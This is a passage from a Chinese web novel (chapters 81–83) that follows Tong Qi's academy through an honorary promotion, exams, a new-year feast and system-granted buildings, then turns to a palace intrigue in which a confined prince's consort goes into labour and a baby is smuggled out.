虽没实权实职,□□誉性却极强,通常只授予有一定官阶品级且在文学上有极高造诣的官员。 这就很有意思了,童启连乡试都没考呢,便先领起俸禄来了? 而且还是从六品的俸禄! 别说童启了,就连朝中的大臣们都疯了。 哪里有这么儿戏的?一箭射杀西夏小王子,不仅没处罚,反倒还给封官? 若人人都跟着学的话,那天下成什么了?就是再受宠也没有这样宠爱的! 劝谏的折子如雪花一般飞往内阁,引得胡丞相等人焦头烂额,连大奉朝报纸也连登了好几日这个消息,一副看热闹不嫌事大的感觉。 豪门世家,书香门第,里里外外皆一片哗然与质疑声。 可皇帝不管,皇帝任性。 他就这么封赏了,且亲自下诏,令童启不必进京谢恩,继续培养学生,参加科举即可,他等着对方光明正大考上状元,朝堂相见的时候。 如此赤裸裸的偏向,简直比封官还要令人惊讶,旁边跟随的史官直接原封不动写进了书里,成为了后世不知多少人坚定站位,认为童启所作所为皆是为了大奉朝的有力佐证之一。 诏书快马加鞭进入环县。 接旨的华夏书院众人,都已然呆了,就连童启也以为哪里搞错了,久久缓不过神来。 最尴尬的还要数旁边一起来接旨的县令大人章明浩。 谁懂啊?他明年便是最后一届在任了,托童启的福正准备升迁,还没得意两日呢,一转眼,治下的素人已经连蹦多级,成为了比他官阶品衔还高的人! 就离谱! 虽没有实权,可行礼、俸禄却是实打实的啊! 这就令他跪也不是,不跪也不是了。 而整个河南府,如今除了知府大人,其他官员遇到童启皆得俯身叩见,临近的州县,从六品以下,更是直接成为了童山长的下属!哪怕打轿骑马经过,都得亲自下来拜见。 头一次遇到这种情况,荒诞的简直令人手足无措。 这让他怎么管? 眼见着章县令苦哈哈的准备屈膝叩拜,童启忙一把将其搀扶了起来,一副受宠若惊的模样。 别别别,别这样搞啊!他也很慌的! 不过安安静静教个书,这怎么还一下子变成从六品了? 他总算是明白过来为什么大奉朝日渐愈下了,如此任性随心的皇帝,这……确实不是明君之相啊…… 因着这道旨意,还未开始期末考,沧澜山已经再次人满为患,童启及柏老等人不得不连着接待了好几波上门的底层官员,陪笑一场,这才以主持考试为由,迅速逃离。 “完了,我感觉我可能不适合当官,如果以后每天都得这样交际的话,我可能得疯!” 童启无力的说道,引得旁边的柏老和曹老嬉笑不已。 “这有什么,你是没看到胡丞相门口的盛景,每年官员评比,那抱着礼物想要登门的能从一条街排到另一条街去,简直比上朝的人数还多。” 想想那画面,童启忍不住抖了抖,颇觉可怕。 “对了,怎么没见到顾知府,我离开书院的这段时间,他没有找事吧?” “您没听说吗?顾知府受了伤,如今正在府中修养呢。” 受伤? 细问之下,他这才知晓,原来在自己前往西夏的这段时间里,对方已经遭到了好几轮的刺杀,皆是四皇子旗下的勇士,为其主抱不平的。 顾知府狼狈不已,身上被连砍了好几刀,据说能活着都已是万幸,所以干脆闭了门,不再见客了。 这时间点巧的,不知道的还以为他是对自己封官不满呢。 想起一切的开端,那本账册,童启缓缓闭上了嘴巴。 他自认不算什么好人,可也没想过真的会有人因为那东西,前来追杀,不顾一切的报复。想来,京中的夺嫡应该已经进入了白热化阶段。 老皇帝的身体,应该是越来越不行了。 不过那和他也没什么太大的关系。 时间进入到了十二月中旬,随着天气渐渐寒冷,华夏书院一年一度的大考,也进入了倒计时之中。 童启与一众先生们筹备着试卷出题的事情,而学生们则在加班加点的复习功课。 这一次考试主要是为了明年的分班。 眼见着开春后就是第三届的招新活动,二年级即将前往京城参加乡试、会试,一年级与学前班也因为每个学生们的学习进度不同,急需分开教学。一部分升至二年级,准备参加后年的县试,另一部分则继续留在一年级打基础,与新的学生们合流。 所以此次大考,如同一道分水岭,是进是停,只在一夕之间。 因着半路去参加了一场课后实践,回到书院的柳三变等人补课补的无比狼狈。 尤其是那些缺失的课堂笔记,更是几乎求爷爷告奶奶,才勉强借到了一份完整的,抄写完毕。 谢君仪一脸痛苦,整个人摊在座位上面,如同丢了魂一般。 “完了玩了,顾此失彼,我不会这一年还要再留在学前班吧?我不要!我不要和这群小萝卜头一起啊啊啊!” 他崩溃的抱紧脑袋,难以置信,而旁边的沈亦也在发愁着。 若是以往,他肯定不在乎留级不留级的事情,反正也没想着科举当官,但这一次去了环县一趟后,他已经彻头彻尾改变了初衷,他想试试,去做个对世界有意义和价值,令人记住的人,因此卯足了劲儿,也想往上考。 他要升班,他不想再继续在一年级待下去了! 期末考试,一共持续了整整三日。 考完后,整个书院里严肃的氛围顿时一松,就连安保队也敢大声欢笑了。 学生们自己上着自习,等待放假,而童启则带领着老师们,迅速批改完了所有卷子,将成绩统计清楚后,一一张贴在了公告栏上。 二年级领头的,依旧是吴韧、郭胜开及汪启元,刘卜温和常仕进紧随其后,分数拉的并不算大。 十分稳定。 而一年级则大变了模样,王世昌依旧排名第一,可第二名和第三名则被两位名不见经传的寒门士子所占领,一个叫做程勤,一个叫做全岸轩,皆是伊川县本地出身,然后才是莫小川、戚风言等人,小侯爷沈亦,排行第十一名,不上不下。 学前班同样有趣。 柳三变维持第一不动,童庆安则处于第二位,谢君仪第三,而童启的弟弟童淳,却排行第四,依旧吊车尾。 这令其好几日都郁郁不安,提不起劲儿来,深觉丢了兄长的人,还是童启知晓后,为他讲述了丑小鸭的故事,这才勉强安慰了一些。 办公室内,先生们各抒己见。 “我觉得一年级可以从第二十五名开始进行划分,前面的,他们的才学已经足够应付后年到来的县试,而后面的则有些吃力,感觉可以再补一补看看。”温叶辞提议道。 清虚子却不赞同,他深谙人情世故,说道,“若那样,人就太多了些,未免有些显眼。咱们前一届二年级才六个人,这一届就二十五人了?一个县拢共才录取几个人?即便有的不是伊川出身,但同样是河南府内,咱们得给其他人留一些位置。” “科举哪里有什么留位置一说,有才者居之才是正道,压一年就耽误孩子们的前途一年,何必拘泥?” …… 两方争论着,各执己见。 童启摸了摸下巴,都觉有理,于是直接大手一挥,只将前十人升为了二年级,而剩下的,则依旧保持不动,继续处于一年级的序列里。 二年级则统一升至冲刺班,不再位列级别之中。 反正时间还来得及,明年期末还有一场考试,万一再等一等,又能蹦出几个好苗子呢? 考上,不如考好, 他有的是耐心。 分班的名单公布出去,有喜有忧,小侯爷沈亦看着自己只差一名,呆愣愣的站在公告牌前,久久缓不过神来。 考完后,表彰大会如常召开。 这一次的地点是在操场上,童启站在主持台上为谢君仪等四位学生一一颁布银制的学院徽章,以及从低阶抽奖卡池里拿到的护手霜、笔记本、铅笔等物品,而王小花也成为了第一个越过医科大楼,光明正大来到主院校领取奖励的女孩 子。 底下的学生们嘈杂不已,议论纷纷。 一开始他们还不适应一个女孩出现在讲习台上,但等后来见到他们手里获得的奖品后,便直接重心位移,全部黏在了东西上。 我去,这么丰厚的吗? 早知道他们也跟着去了! 头一次听说护手霜的使用方法,众人嫉妒不已,眼红的看着那一脸骄傲的沈亦等人,只恨不得以身相替。 而医科专业的学生们是也均趴在城墙上,看着远方的王小花,悄然在心中种下了一个梦想。 一一奖赏完每个年级的前五名,表彰大会落下帷幕,而书院内也正式放假。 学生们就如同猛虎下山般,带着大包小包的东西,各自归家。 包内,装了不少东西,有自动售货机内兑换出来的“特产零食系列”,一转手便能卖给其他人,赚上几分差价,还有着因为学习成绩优异,而得到的山长特殊奖励。 破旧的茅屋下,程勤兴致勃勃将包袱打开,骄傲的展示着。 “这是我们书院内种的南瓜种子,山长特意允许我带回来一部分试种,结出来,大概有半个瓜瓢那般大!香甜软糯,可好吃了!这是书院因为第一名而赏的银子,这是护手霜,这是铅笔本子……” 他一个个罗列出来,给床上的人看。 程母瘫痪在床,笑容温柔。【你现在阅读的是 】 80-90 第81章 第81章完整书院 隔壁县内,郭家小货郎家里挤得人满为患,皆是来买东西的。 虎妞小小一个人,站在炕沿上,从自己的包袱里掏出各类物品,大声喊着。 “谁托我带的泡面?酸菜味道的,还有红烧味道的,没错,都是七枚铜板一个,大家自己选,就这么多,晚了就没有了哈!刘婶,你上次说你家小儿子想买几个小面包是吧?我特意给你换来了,没错,还是那个价格。大家不要挤,不要抢,提前预约过的我已经给你们都准备好了,来这边拿,没有说的,就那么些,你们想要什么自己选,去我父亲那边给钱就行!山楂丸?山楂丸没有了,王姐姐那边有个贵客年底全部包了说要卖到京城去呢,明年等开学了我再帮你问问哈……” 都说龙升龙,凤生凤,老鼠的儿子会打洞。 也许真的是如此,郭虎妞自入学华夏书院后,没多久便展示了自己丰富的经商才华。 不仅将书院里的售货机物品给村民们代购,连带着医科有时候研究出的一些小药丸,她这里也卖,短短不到一年的时间,郭家已经凭借着闺女的倒腾,顺利盖起来了两栋平房,直接从老房子内搬了出去。 两个婶婶妒忌不已,你推我搡的拉着她奶奶的手,撺掇道。 “娘诶,这女孩子有钱能有什么好处?迟早嫁到别人家去,便宜了其他人。您别看着老三他们一时风光,这回头可还有的罪要受呢!您倒是多为两个孙子想想,他们都大了,可还没有着落,如今连学徒的工作都找不到,以后娶媳妇,可怎么办才好哦!” 她奶奶一边纳着鞋底,一边用针从头皮上滑过,眼睛抬也未抬的问道。 “那你们是什么个意思?” 老二家的眼睛一动,上前轻声道,“我听闻不少学徒都可以顶替换人,您不如让虎妞也帮着走动走动,跟他那书院说一说,就说家里事忙,还要准备亲事,就不上了,然后把名额让给您的两个孙子去,反正是男孩子,什么工作都做的,又不比女孩子娇气,怎么还不比女孩强呢?他们书院肯定满意!” 话音未落,身后一盆冷水已经照着她的头顶泼了下来。 “啊,谁敢泼我?” 老二家的一扭头,见到虎妞母亲气的脸色发青,恨恨的紧盯着她。 印象中,这个老三家的总是一棍子敲不出半句话来,怎么欺负排挤,都是一副含泪脉脉的样子,这还是几人第一次见到她如此情绪激动的模样,顿时愣在了原地。 就连她奶奶都忍不住惊讶的抬眸看了一眼。 对方将手里的泡面和面包等物放在了桌上,气愤的说道。 “二嫂,亏你还是虎妞的亲婶子,没想到竟如此自私恶毒!名额的事情你是别想了,我是绝对不会让虎妞把位置让给其他人的,你那两个儿子又蠢又坏,活该讨不到媳妇,以后就是要饭要到我们家门口,也别想着让我救你!” 说罢,她直接挺直了腰板转身离开。 气的老二家的掐着腰,站在院子里直嚷嚷道,“我哪里说错了,你竟然敢这么咒我儿子?不过生了个女孩子,有什么了不起的,我呸!就这还文化人呢,连尊长都不懂,这是跟嫂子说话的语气吗?你别得意,迟早便宜其他人!” 屋内屋外乱哄哄吵成一片,倒是那一向凶厉的郭家老奶奶这回却一句话也没说。 她坐在板凳上,垂眸看着身边放置的东西。 自虎妞去了书院后,每次回来都会给她捎带点吃的,不论是面包还是泡面之类的,哪怕她不要,骂骂咧咧,对方也依旧是风雨无阻,每次都送。 想起自己忙活了大半辈子,带起来的三个儿子,她心里忍不住嗤笑一声。 还孙子呢,什么养儿防老,远不如一个孙女来的贴心。 罢了,什么真真假假,她索性也不管了,儿孙自有儿孙福,若女孩子也能活出自己想要的样子。 旁人的阻拦,注定不过是一种嫉妒罢了。 如程家、郭家这样的家庭还有许多。学生们的放假,不知激起多少矛盾,又悄然改变了多少思想,如润物细雨,潜移默化影响着这片土地的方方面面- 今年的过年,注定是热闹的。 童父走镖回来,见识了不少世面,心中的芥蒂已然放下了许多,也不在乎自己被称为“童启父亲”还是童启被称为“童石磊儿子”了,跟随着童母等人便一起上了山。 柏老和曹老等人也懒得回乡,干脆聚在书院里,与童家一起过年。 系统象征性的在脑海里放了几串鞭炮声,噼里啪啦,给童启炸的震天响。 他利用售货机,短暂的兑换出了一些果子酒来,并一些火锅底料,狠狠熬出几大锅,摆在了堂厅内。 红封更是每人一份,塞了不少东西进去,沉甸甸,喜得所有小厮、帮工们欢喜十足。 童启站在暖炉旁,端起酒杯,跟大家简单讲了几句话。 “岁序更替,华章日新。过去的一年发生了很多事,今日大家齐聚一堂,我谨代表书院,向诸位表示衷心的感激与敬意,是你们的辛勤付出构建出了如今耀眼的成绩,也为每个学生的成长扫平的道路,过去的苦难就让它随风而逝吧,新的一年,愿大家身体健康,万事如意,我们书院也能够更加蓬勃发展,蒸蒸日上!敬诸位!” “敬山长!” 十几桌满满当当,大家共同举杯,仰头喝下,肆意享受着年的喜悦。 各类菜品被端了上来,丰富的简直不像是古代。 大家大快朵颐着,肉类显然比蔬菜还要更受欢迎一些。 而学生们的年礼、各方势力的拜帖也如同雪花一般,纷至沓来。 童启坐在校长室内,拆封着所有人的礼物。 有柏大将军那边的,有环县吴大人、许明奕等人的,还有谢家、汪家、安庆侯府、万商商会、龙胜书院、王学政等地方送来的年礼,基本都是当地特产或者书籍孤本,就连岳家也送过来了一份。 岳家? 童启想了想,这才记起环县一行时,遇到的那个小姑娘,飒爽英姿,站在马上,就如同一个女将军般耀眼夺目。 她好像是柏老的孙女?柏大将军妹妹的女儿? 原来姓岳啊。 童启将礼物一一收起,按照名单上的准备相应的回上礼物,并未在意。 过了年后,华夏书院的拜帖日渐增多。 还未到达四月,便已经有不少人开始提前询问起新一届的招生名额来。 不少有心的人通过各种渠道,来打听着,就连曹老先生都试探着问了几次。 童启 也没有隐藏的意思,系统刚刚刷新出任务来,他便立马放了风声出去。 今年再招三十人。 而医科,则补录二十人,十男十女。 这是源于他不在的时候,潘阆先生替他开除了医科的几名男学生,原因是骚扰同窗,寻衅生事,因为考不过王小花和虎妞等人,就造谣排挤,邢御医和张小娘子管不住,便交给了潘阆来。 对方想着上一次童启说过的,惹事生非就开除,于是直接劝退了事。 于是医科的男孩子便一下子少了五人。 童启原本没想着补上,还是系统一直争辩,说是这五人短缺或许会对主系统那边的任务有影响,万一对方再收回医科大楼要怎么办?所以他没办法,才又开放了增录名单。 这一下子,医科的男女录取比例一下子变得不同起来。 男子三十人,女子三十五人。 童启想好了,要想开一扇窗户,就得先把屋顶给掀了,不是打架吗?不是寻衅滋事吗?下一次再有这种事发生,他就依旧如此,慢慢的,估计医科里都能变成只剩女孩子了。 果然这补录的事情一放出,各方震荡不已,被开除的那五名男学生原本还郁郁不平,认为潘阆行事极端,童启童山长一定不会答应的!要联合着父母去华夏书院闹去,而此时看到张贴出来的补录数额,顿时歇了脚。 没错,童山长也偏向女生。 华夏书院的招生名额一被放出,各类阶级想要报考的人群,已经提前开始准备起来,这一次,不仅有着寒门、商宦,还多了很多书香门第与世家阶级。 而童启也洗了手,准备开始进行最后的建筑类抽取。 如今的华夏书院占地面积已经几乎全部被开发完毕,只剩下规划好的室内体育馆以及大礼堂、老师宿舍楼没有被抽出。 这一次,他特意攒了十连的中阶抽奖券,打算一口气抽完。 这样等新的一年新生入学,享受的便是完整的书院建筑了,而他也不必再绞尽脑汁去解释那些被围起来的建筑到底是何模样,为什么明明说是在修中但是却没有任何工匠进出的事情了。 童启小心翼翼关上门,深呼吸了一口气,缓缓点在了建筑的抽奖页面上。 一阵金光闪过,大礼堂被抽了出来。 紧接着便是三个建筑风格模版。 【叮,恭喜您抽中学生宿舍楼模板外观——樱之飞舞】 【叮,恭喜您抽中食堂模板外观——爱死亡与机器人】 【叮,恭喜您抽中藏书阁模板外观——大气磅礴】 …… 童启皱了皱眉头,继续点击,临近最后两张抽奖券。 一阵熟悉的金光闪烁起来。 【叮,书院建筑-室内体育馆已解锁。】 【叮,书院建筑-B栋宿舍楼已解锁。】 整个3D页面所有的建筑一一被点亮了光芒,再无遮掩。 第82章 第82章皇子托孤 京都内,大雪纷飞。 皇城内外一片素然之景,几个少年衣袖翻飞,骑着马从街道上嘻嘻哈哈的跑过,溅起的泥水高高扬起,飞落在旁边的路人身上,引得不少百姓敢怒不敢言。 谢君仪撑着脸坐在酒楼包厢内,百无聊赖。 别的书院放假,学生高兴的跟什么似的。 他们书院放假,反而还不如在书院的时候有趣。 这京都呆久了,越发无聊,不是这家又娶了亲,就是那家又当了什么官,一点新鲜感都没有。 几个世家少年噔噔蹬的爬上楼梯,进入谢君仪的包厢内,毫不客气的一屁股坐了下来,抱怨道,“谢君仪,你怎么回事,自从上了那个什么劳什子的书院,简直像是换了个人似的,不仅约都约不出来,出来之后也不参与我们的活动,什么情况?” “就是啊,知道的说你是去读书,不知道的还以为你是入狱去了,整年头的一次都见不了面,说实话,你是被你父亲给流放了吧?不然也不可能你那哥哥呆在国子监,你一个人去什么偏远的伊川县?要不干脆别上了,跟我们一起出去做游侠如何?” 还游侠呢,你们懂个屁的读书! 谢君仪懒懒的抬眸看了他们一眼,深深的怀疑自己以前是怎么跟这群人混到一起的。 个个没脑子不说,还天真的很。 自认会点三脚猫的功夫,便成天嚷嚷着和这个人比那个人斗的,别说让他们真遇到什么歹人了,就是亲自去一趟环县,远远的看见西夏人,只怕都得吓得尿裤子吧? 谢君仪心中腹诽着,面上却没有带出半分,只扯了扯嘴角,当作回应。 见他情绪似乎不高,旁边一个人不由出声问道。 “怎么,是家里有事?听闻最近六皇子选妃,贵妃娘娘亲自定了不少人家,你们谢家女,应该也会参选吧……” 几个人好奇的抬起头,一副八卦模样。 “六皇子选妃?什么时候的事,我怎么不知道?” 乍一听到这消息,谢君仪方才精神了一些。 “报纸上都连登了大半年了,你竟没听说?据闻上一次京中贵女们一起举办赏花宴,为的就是这事,四公主都亲自出席了,我娘说,你们家,还有吏部侍郎冯家都极有可能被选中。若是顺利的话,你家就又要出个皇子妃了。” 见个鬼的皇子妃。 一个不够,又来一个? 看来那老登又要往宫里送女儿了。 其实谢家家主的手段一直很简单粗暴,一句话总结,就是各种的送女儿送儿子,用裤腰带和血脉去牵连住利益,管他最后谁能获胜呢,反正总能押到一个对的。 即便他们家已经送了一个妃子进宫,还生下了十三皇子,但谁也不确定最后会发生什么。 像是这种排名靠前的皇子,谢家肯定是不会放弃的,就是不知道这一次又是谁倒霉被牺牲了,是他的庶女妹妹,还是哪个大伯、叔叔家的人。 有时候谢君仪都感到庆幸,幸亏自己还没到适婚年龄,不然恐怕学都没法上,就要跟着一起去打黑工去。 正闲聊着,突然,酒楼之下,一个熟悉的身影穿着官服缓缓走过。 他顿时眼睛一亮,不顾其他,欢快的飞奔而下。 “杨兄,杨兄!杨舟万!你竟然也在京都?” “谢君仪?你什么时候回来的?” 没想到竟然还会在京都见到自己的同窗,杨舟万一脸的惊喜。 谢君仪也觉得颇为神奇,他是知道二年级杨舟万突然被举荐出仕的事情的,但万万没想到,对方任职的地点竟然是在京都,早知道他一放假就去找他玩了,好歹都是一个书院的,聊起来也更有共同话题一些。 他忙拉着杨舟万的衣袖,携手进入酒楼中,向他介绍着自己的朋友们。 “杨兄,这位是镇北侯的嫡孙冯英,他家祖上曾和太祖皇帝一起杀过契丹人,相当勇武;这位是吴郡陆氏九郎陆文轩,其家中有藏书三万册,连秘阁校理都要给他家借孤本呢,这位是林季伦,这位是刘景明……” 被念到的人均拘谨的向其行礼,颇有种别别扭扭的感觉。 “在下杨舟万,乃华夏书院的学生,谢君仪的同窗,如今在军器监担任军器监丞的工作,初次见面,十分仓促,以后有机会咱们可以促膝长谈,欢迎大家有事去军器监寻我。” 他们忙摆手道不敢。 别看这几个孩子身世摆出来都如此的赫赫扬扬,但实际上与谢君仪差不多,腹中空空荡荡,并无多少才华,交往的朋友们也皆是酒肉朋友,没有做任何正经工作的,每天不是吃就是玩,妥妥的混日子。 这头一次见到身边的人竟有了当官的朋友,个个脸色复杂,不知所措。 就像是学渣们遇到父母口中的好孩子那般尴尬。 谢君仪也没有理会他们,反正他也懒得再呆下去了,干脆问了问杨舟万要去哪里,得知他是下值回家,便立马跟了过去。 杨舟万在京都适应的 还算不错,租赁的房子地理位置也极佳,就在岳家旁边。 平日里岳家发生争吵时,他这里都能听的一清二楚。 两个人简单同步了一下书院里的事,慢悠悠坐在廊下,煮酒观雪。 正闲聊着,一声尖锐短促的婴儿哭声突然惊扰了他们所有的思绪。 “这……” 岳灼华抱着一个小娃娃从墙上利落的翻了过来,忙将怀中的迷药一口口喂进了孩子的嘴中,抬头见到两个人坐在院子里,忙伸手做了个噤声的手势。 杨舟万/谢君仪:??? 她小心翼翼看了看左右,压低声音道。 “阁下可是华夏书院的学生杨舟万?事情紧急,来不及解释,还请麻烦你们将这个孩子送到童山长那里,就说是宫中的徐常侍与齐大人共同托付的,还请不要让任何人知晓此事,拜托了!” 她一把将孩子塞进了杨舟万怀中,说罢,便急匆匆的又翻回了岳家。 两个人看着那明显用金黄色布匹裹着的孩子,脑子都快僵了, 尚未缓过神,便听到一阵呵斥声,整齐的脚步瞬间包围了隔壁的院落。 御林军吵嚷搜查的声音响起。 来不及多思什么,杨舟万当机立断便将婴儿递给了谢君仪,令他赶紧回伊川。 “岳家与柏大将军和柏老乃是姻亲,如此托孤,势必是发生了什么大事。你快走,就当今日没来过这里。” 谢君仪自然知晓轻重,忙以袖掩了孩子,从后门溜走。 不到一盏茶的时间,果然,杨舟万的院子也被人包围了起来。 时间退后到十日前。 六皇子选妃,贵妃娘娘宣召所有备选的女孩子入宫,只叫了两人上前细观,一个是礼部侍郎之女冯楚陌,另一个,便是岳灼华。 院内,宫中的太监上前宣召。 “制曰:朕膺昊天之眷命,承九庙之鸿麻,惟皇子冠礼既成,当择淑媛以正东内。……闻岳家嫡女岳灼华婉顺秉德,贞静持身,通《女戒》而明礼……着其入选尚仪局习宫规九日,精研《内则》《列女传》,复经三察……钦此。” 一众人愣在原地,缓过神之后,便是一阵狂喜。 尤其是岳盛天。 他怎么也没想到,自己竟然还会有抱上皇子大腿的一天,六皇子选妃,他家女儿竟然也有机会!当下连禁足令也不管了,忙令人梳洗,整理仪表,便将女儿送进了宫中去。 岳灼华同样是一头雾水。 要说她赏秋宴上的表现,着实算不上有多好,甚至和四公主还发生了明面上的吵架,那贵妃娘娘怎么会看上她,令她进宫待选呢? 因着皇命不可违,她没有任何办法,只得咬着牙进入。 可实际上,她不知晓的是,贵妃恰恰喜欢的,还真就是她这种性格。 要知道,六皇子桀骜不驯,最是难驯,若是将来娶进来的媳妇也是个乖巧听话,半点不敢抗争的,那妥妥要被压制一辈子,哪里能管的住?要就得要这种胆子大的女孩!她听闻岳灼华从小跟着舅舅习武,拳脚上略通一二,再加上心地善良,胆子又大,四公主那样的秉性,她也敢当面劝阻,实在是个好孩子。 若是有她嫁进皇家,帮忙看着,哪里还怕什么儿子乱搞不听话呢? 所以她大笔一挥,便直接将其也划进了待选名单中,进宫准备。 四公主听闻后,也只是冷笑一声,并不在意。 她与六皇子虽是一母同胞,但实则最烦的便是弟弟这种性格,无法无天,又不会看眼色,仗着身份便使劲儿消磨皇上的耐心,迟早有一日也得落得四皇子那样的下场。 管他娶谁,都不过是拖累了那个女孩子罢了。 也就母妃认为他还有救,总想着搭上个其他人,拦一拦。 让其有一争之力。 她不屑的起身,带着瓜果饭菜,前往冷宫中,探望四皇子妃。 自四皇子被幽禁后,四皇子妃就一同被关进了冷宫中,明明还怀着孕,却每日吃也吃不饱,睡也睡不好,纤细的身子已经快瘦成了竹竿,越发衬的那肚子大的可怕。 凭借着从前的几分情面,她偶尔也接济一番,可眼见着预产期临近,父皇却像是完全不在乎一般,根本就没有请任何接产的妇人进来。 她心内寒冷,暗中试探,只觉其有种放任对方生死的感觉。 怎么会就到了如此地步? 明明是亲父子,却有种恨不得食其肉,唁其骨的样子? 难道这皇位真就这么重要? 只要碰到,就会令人失去一切理智么?她不明白。 顺着御花园的路往深宫内走着,半路遇到岳灼华等人进宫,她这才发现几人安排入住的地方,竟然离四皇子妃被关押的地方不远。 这是什么孽缘? 只闻新人笑,不闻旧人哭吗? 她冷冷瞥了一眼两人,没有说话,直接与她们擦身而过,任由行礼的人跪了一地,也未喊起。 第83章 第83章烫手山芋 宫规森严,不比宫外。 自岳灼华进入皇城后,一举一动都格外谨慎小心。虽待选的女子只有她和吏部侍郎之女冯楚陌两位,但教授她们规矩道理的,却有三十多人,而且还是两班倒的教学模式。 上午跟着一批人学习《女则》、《孝经》,如何劝诫夫君,如何百般忍让。 下午则跟着另一批教养嬷嬷练习各类礼仪规矩,起行坐卧。 她与冯楚陌僵直了脊背站在院内,不断地蹲起又站立,大腿根部酸麻不已。 “起。坐。起。坐。两位贵人请挺直腰,头要放正,缓缓坐下,没错,下面试着端起桌上的茶盏……要慢,端茶有三个要点,缓,稳,平,切记不可晃荡杯中的茶水,使其渐溢出来,请再来一遍。再来一遍。再来一遍……” 如魔声绕耳般。 光是喝茶,岳灼华一下午就喝了近乎快二十多盏,直到晚饭时,肚子内都是晃荡的水声,压根没有胃口去吃饭。 她自己还算好,毕竟从小锻炼惯了,风里来雨里去,什么苦都吃过一些,可冯楚陌就惨了,一日下来,整个被折腾的脸色惨白,没有任何血色。 岳灼华怕她出什么事,将忙唤了嬷嬷来看,却被警告不要大惊小怪。 “别怪奴才多嘴,您两位,以后都是要当宫妃的人,一举一动皆代表了皇家的颜面,莫要因为一点小事,就闹得这般大,不过是累着一些罢了,修养一下即可,若不饿,那便空一空肚子,明日再吃,一样的。” 说罢,干脆连晚饭也不留了,直接行了礼,便令人端了出去。 岳灼华气的忍不住握紧了拳,却被旁边的冯楚陌死死拉住,令她莫要生气。 “你不晓得,这嬷嬷乃是宫里的老人,教养过六皇子,后又追随大皇子妃,难免性格傲气。如今被皇上指派过来,教导我们礼仪规矩,本就瞧不上眼,又何必跟她计较,多惹事端呢?” 因着皇帝宠幸内宦,如今宫中有背景的奴才反而比一般的主子还要厉害,这俨然已经是十分正常的事情。 她们拢共也就待个几日,就出去了,犯不着去得罪那些人。 都说君子坦荡荡,小人长戚戚。 谁知道这些人背后会给她们使什么绊子?还是能防则防,能避则避的好。 怕冯楚陌晚上会饿,岳灼华强撑着精神,去厨房要了点吃的,回来时,却听到隔壁殿内似乎有人在敲门。 她端着食盒,小心翼翼的接过,侧耳倾听,似乎确实有人在求救一般。 还未靠近,身后的嬷嬷已经呵斥了起来。 “谁在那里?做什么的?大晚上难道不知道宫内不准行走吗?” 岳灼华被吓了一跳,忙掩了身子,退回进自己房中。 见到冯楚陌侧靠在榻上缓缓喝着水,她忍不住出声问道。 “隔壁是关押了什么宫女吗?我方才出去给你拿吃的,似乎听到有人在喊着什么……” 冯楚陌一愣,立马表情严肃起来。 “你没有回应吧?” “没。” “ 那便好,我跟你讲,你可别跟别人说。”她小心的望了望左右,因着岳灼华对她的态度关切友爱,不由随心提点了两句,道,“那里面关着的不是什么宫女,乃是被拘禁了的四皇子妃。” “四皇子妃?”岳灼华微微瞪大了眼睛,忙压低了声音。“报纸上不是说四皇子妃已经被遣送回家了吗?” “那是骗人的,为了迷惑四皇子的余党。我父亲在吏部,所以自然知晓其中的内情,据说是四皇子妃已经怀了孕,临近临盆,所以皇帝陛下怕她出去得不到照顾,委屈了皇室血脉,特意恩旨令其生完孩子,再离宫。大皇子妃受命看顾,偶尔四公主也会去探望一二,但因着四皇子谋逆之事,宫中的人对其态度都有点不好。许是刺激太盛,再加上孕期忧思太过,听闻四皇子妃已经有点疯癫了,好几次都嚷嚷着要杀人逃出去什么的,所以宫内皆不允许人接近那个地方,你若听见有人求助,也不必理会,估摸着又是在闹而已。” 冯楚陌说的平静,岳灼华却听得心中发寒。 真的只是这么简单吗? 疯女人,皇子妃…… 这宫中就像是一朵乌云紧紧压在头顶,令人几乎喘息不过气来。 但因着这提醒,岳灼华也长了记性,不敢再接近旁边的院落。 直到某夜暴雨,她睡不着,再次听到了隔壁宫殿内的哀嚎声。 隐隐间,似乎有人在拿指甲挠门,那凄惨声不容忽视,听得她忍不住坐起了身。本想将冯楚陌叫醒,一起前去查看,但想起那日对方的提醒,又见其睡得正熟,她干脆披起衣服,独自打着伞,悄然靠近了院墙。 “别喊了,再喊嬷嬷就要被叫过来了。” 她压低了声音提醒道。 没想到对面却陡然哭声一滞,如同抓住了最后一根救命稻草般,急切的说道,“这位小主,麻烦你救救皇子妃,她流了好多血,快要死了,求求你,把门打开,求求你!” 暴雨声伴随着雷电响彻天际,岳灼华的裙摆已经被彻底打湿。 她担忧真的出了什么事情,见宫殿前的大锁死死锁着,没有钥匙压根开不了,干脆权衡了一下高度,直接翻过墙,越了过去。 只见院落内的杂草地上趴着一个女人,下半身正源源不断的流出鲜血来。 “皇子妃!” 岳灼华连忙上前,一把将其抱了起来,径直进入房中,放到了床上。 正喊门的宫女被吓了一跳,见其动作,忙跟着一同进入。 “你怎么……” “少废话,产婆呢,她这是要生了,接生的人在哪里?” 即便没有见过人生孩子的现场,可基础的知识,岳灼华还是懂一些的,这四皇子妃羊水已然破了大半,宫口都打开了,明显是要分娩的征兆。 她急切的询问着,可见到殿内空荡荡,竟然只有那一个喊门的宫女,不由心神一凛。 方才还苦兮兮的叫门宫女霎时变了一副脸色。 “你是谁?你不是宫女,也不是皇妃,把门打开,我要出去,我才不要留在这里和她一起死!” 对方拔下脑袋上的发簪直直的朝着岳灼华刺来,被其灵巧的避开,反手一掌直接砍在脖颈上,晕厥了过去。 这都是什么事儿啊。 岳灼华长叹一声,直接从香囊里掏出半个参片来,塞进了四皇子妃的口中。 对方幽幽转醒,脸色惨白,下半身的疼痛令她忍不住皱起了眉来。 “你等一等,我马上就去叫人过来,千万撑住!” 岳灼华嘱咐道,说着便想出去叫人,却直接被四皇子妃拉住了手。 “别,麻烦你,救救我的孩子,救救他……” 尖锐的指尖刻入岳灼华的手心内,对方祈求无助的神色,令她顿时一滞。 原来如此。 早在看到这院落内空无一人时,她就应该知道的。 这四皇子妃不是疯了,相反,她是不得不疯。 皇帝根本就没想着让四皇子妃成功生产下来孩子,放置在冷宫中,又将大门紧闭,为的就是让对方自生自灭。 什么期待的小王孙,分明就是“反贼”的遗留,无人希望他降临在这个世界上,即便生下来,也不过是一个辖制四皇子的工具罢了。 四皇子妃没有阻止宫女的求救与哀求,为的便是吸引过来人,求那一线生机。 偏偏中招的是她,上了贼船,不得不硬着头皮继续走下去。 因为,她窥到了皇室的隐秘。 她强行令自己冷静下来,抽出了手,说道,“即便我帮你接生出来,这个孩子也活不了多久,你是知道的。” 皇帝不可能容忍这个孩子活下来。 以后有机会,为父母报仇。 